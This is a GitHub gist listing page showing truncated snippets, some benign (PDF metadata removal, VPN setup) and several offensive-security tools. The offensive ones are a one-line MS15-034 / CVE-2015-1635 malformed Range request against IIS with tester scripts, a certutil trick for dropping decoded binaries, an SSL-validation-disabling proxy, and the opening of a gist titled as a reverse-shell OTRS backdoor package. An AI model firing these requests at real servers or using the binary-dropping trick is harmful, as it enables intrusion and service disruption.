Skip to content

Instantly share code, notes, and snippets.

@hubgit
hubgit / README.md
Last active June 14, 2024 17:40
Remove metadata from a PDF file, using exiftool and qpdf. Note that embedded objects may still contain metadata.

Anonymising PDFs

PDF metadata

Metadata in PDF files can be stored in at least two places:

  • the Info Dictionary, a limited set of key/value pairs
  • XMP packets, which contain RDF statements expressed as XML

PDF files

@obscuresec
obscuresec / psproxy.ps1
Created May 19, 2014 01:17
Simple but dirty Powershell web proxy
#simple and dirty proxy
#usage: http://127.0.0.1:8000/?url=http://www.obscuresec.com
$Up = "http://+:8000/"
$Hso = New-Object Net.HttpListener
$Wco = New-Object Net.Webclient
#ignore self-signed/invalid ssl certs
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$True}
Foreach ($P in $Up) {$Hso.Prefixes.Add($P)}
@gabemarshall
gabemarshall / osx-for-pentesting.sh
Last active June 11, 2024 13:38 — forked from matthewmueller/osx-for-hackers.sh
A fork of osx-for-hackers for my personal pentesting setup preferences
# OSX for Pentesting (Mavericks/Yosemite)
#
# A fork of OSX for Hackers (Original Source: https://gist.github.com/brandonb927/3195465)
#!/bin/sh
# Ask for the administrator password upfront
echo "Have you read through the script prior to running this? (y or n)"
read bcareful
powershell -com {$wr=[Net.WebRequest]::Create('http://127.0.0.1/iisstart.htm');$wr.AddRange('bytes',18,18446744073709551615);$wr.GetResponse();$wr.close()}
@Zagrophyte
Zagrophyte / MS15-034Tester.cs
Last active February 18, 2023 01:06
MS15-034 / CVE-2015-1635 Tester
void Main()
{
TestMS15_034("www.example.com"); // Replace with whatever server(s) you'd like to test.
TestMS15_034("www2.example.com", 8080);
}
// Sends CVE-2015-1635 / MS15-034 Test Request and checks for vulnerability
public void TestMS15_034(String host, int port = 80)
{
TcpClient tc = new TcpClient();
@Zagrophyte
Zagrophyte / MS15-034Tester.ps1
Last active April 4, 2021 15:58
Sends a CVE-2015-1635 / MS15-034 Request and checks for vulnerability
# Sends a CVE-2015-1635 / MS15-034 Request and checks for vulnerability
function TestMS15_034($hostname, $port)
{
if ($port -eq $null)
{
$port = 80
}
$tc = New-Object Net.Sockets.TcpClient
@mattifestation
mattifestation / drop_binary.bat
Created July 12, 2015 05:49
Drop binary data from the command line w/o needing PowerShell
echo -----BEGIN CERTIFICATE----- > encoded.txt
echo Just Base64 encode your binary data
echo TVoAAA== >> encoded.txt
echo -----END CERTIFICATE----- >> encoded.txt
certutil -decode encoded.txt decoded.bin
#!/usr/bin/env python
# Rulz.py
# Author: Nick Landers (@monoxgas) - Silent Break Security
import os
import sys
import argparse
import re
import binascii
import codecs
@yocontra
yocontra / kali-install.sh
Last active January 28, 2024 06:33
installing private internet access on kali linux
apt-get install network-manager-openvpn
wget https://www.privateinternetaccess.com/openvpn/openvpn.zip
mv openvpn.zip /etc/openvpn
cd /etc/openvpn
unzip openvpn.zip
rm -rf openvpn.zip
# set up the rest in the gui
# gateway = us-east.privateinternetaccess.com
# CA.crt will be in /etc/openvpn
@mgeeky
mgeeky / MyPackage.opm
Last active July 18, 2024 14:35
OTRS OPM backdoored Package with Reverse Shell
<?xml version="1.0" encoding="utf-8" ?>
<otrs_package version="1.1">
<Name>MyModule</Name>
<Version>1.0.0</Version>
<Vendor>My Module</Vendor>
<URL>http://otrs.org/</URL>
<License>GNU GENERAL PUBLIC LICENSE Version 2, June 1991</License>
<ChangeLog Version="1.0.1" Date="2006-11-11 11:11:11">My Module.</ChangeLog>
<Description Lang="en">MyModule</Description>
<Framework>5.x.x</Framework>